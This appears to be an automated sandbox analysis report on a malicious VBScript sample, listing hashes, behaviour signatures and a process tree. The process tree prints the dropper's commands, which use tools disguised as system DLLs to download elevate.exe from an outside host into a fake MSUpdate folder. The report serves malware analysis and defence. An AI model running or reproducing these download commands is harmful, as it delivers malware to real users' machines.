Analysis
- max time kernel
148s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/07/2026, 09:08
Static task
static1
Behavioral task
behavioral1
Sample
D2_29_5.vbs
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
D2_29_5.vbs
Resource
win11ltsc2024-20260710-en
5 signatures
150 seconds
General
- Target D2_29_5.vbs
- Size 35KB
- Sample260721-k4d6fads2w
- SHA256 c7c0192788a5f7aaa3332088ccdbc401ff12b2ed0753dda3feb4cfa796ae1a7a
- MD5 480a569058a3e80b14b6ecfca48f39e5
- SHA1 41c06f2b18b9a087dafb47c7a32e57ce0f80d5cc
- SHA512 4b01b66f8e85c60b90bf59e723978b37d8193188908b2da9a87d66350c32d3f4b4d5810d4313ba70a617e3015f6023b56de1f333cee9407847fea8713b8b8779
- SSDEEP 384:hMH1Y6X+uiDCJabgImVN6YcrjTcdzdqdLdBd+dqdT1hFP8oDAvAIk9pedDixLnPl:hMVMuiDCobgIm2YMvEqAvAIEQDUr
- TLSH T1B1F23170FA433C51582FCB66C3D6BD505A5929FB46238F1994B9B1CD6F22F02C2B5AC4
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 3332 shlwapi.dll 4824 urlmon.dll - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2488 WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1908 cmd.exe 2940 cmd.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2488 wrote to memory of 1908 2488 WScript.exe 89 PID 1908 wrote to memory of 3332 1908 cmd.exe 91 PID 2488 wrote to memory of 2940 2488 WScript.exe 92 PID 2940 wrote to memory of 4824 2940 cmd.exe 94
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\D2_29_5.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65188\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65188\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Users\Public\Documents\MSUpdate_65188\shlwapi.dllC:\Users\Public\Documents\MSUpdate_65188\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65188\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe3⤵
- Executes dropped EXE
PID:3332
-
-
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65188\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_65188\elevate.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Users\Public\Documents\MSUpdate_65188\urlmon.dllC:\Users\Public\Documents\MSUpdate_65188\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_65188\elevate.exe"3⤵
- Executes dropped EXE
PID:4824
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\Documents\MSUpdate_65188\shlwapi.dll
- Size 656KB
- SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
- MD5 c3977d6c9e8653f46697513c3ca50602
- SHA1 0c7413848ee7e349d32f62dcb03c8327d0ddd12f
- SHA512 a6bdda08856cc43534157c466685407c95f7c98a3ebc06c2296edb9cc3b0b5786c9d1fe3b0bbf29f3128fc3c94ed192949e941e82be03c0614f033f6380df228
- SSDEEP 12288:zWGxtFZTeuri7uhoknAWwjjK/IwX+5bAIGIT09nj5:zKuKuOknhyO95IGI4nj5
- TLSH T1F1E48C5253B404EAD0ABC176C6539607F7F2F05A234093DB42E4CAAA2F477A25F3E791
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Documents\MSUpdate_65188\urlmon.dll
- Size 236KB
- SHA256 2b090bb7151bf87fc6fa36e13f509b5059a68e694eec2253f1ab74f9a7a0247b
- MD5 48e11ce37a4b73911d61ca9db531e676
- SHA1 29ee300acdae46792a4e1bdd012d0c7fa1c5d13f
- SHA512 9b6767304c02ee07f28ae6f18a7bed5c1bac16812178ce76fd5b1892cb119c3a7f6d0b70b980ca6f24eb31f18b1a4da37a7e78994326ebda74d619ab8e440409
- SSDEEP 3072:hR7pK9OSnSWNbSFKN9YWrSnFE55OO3+YTLsd0etQ2FO90j6i6L:hdpKRndkTPnFE55O+2/6i
- TLSH T1AB343C1523FA1568F5B2B7789EB58554CA33BC619B76C2DF0299412E0B73AD0AD30F32
- MD5 SHA1 SHA512 SSDEEP TLSH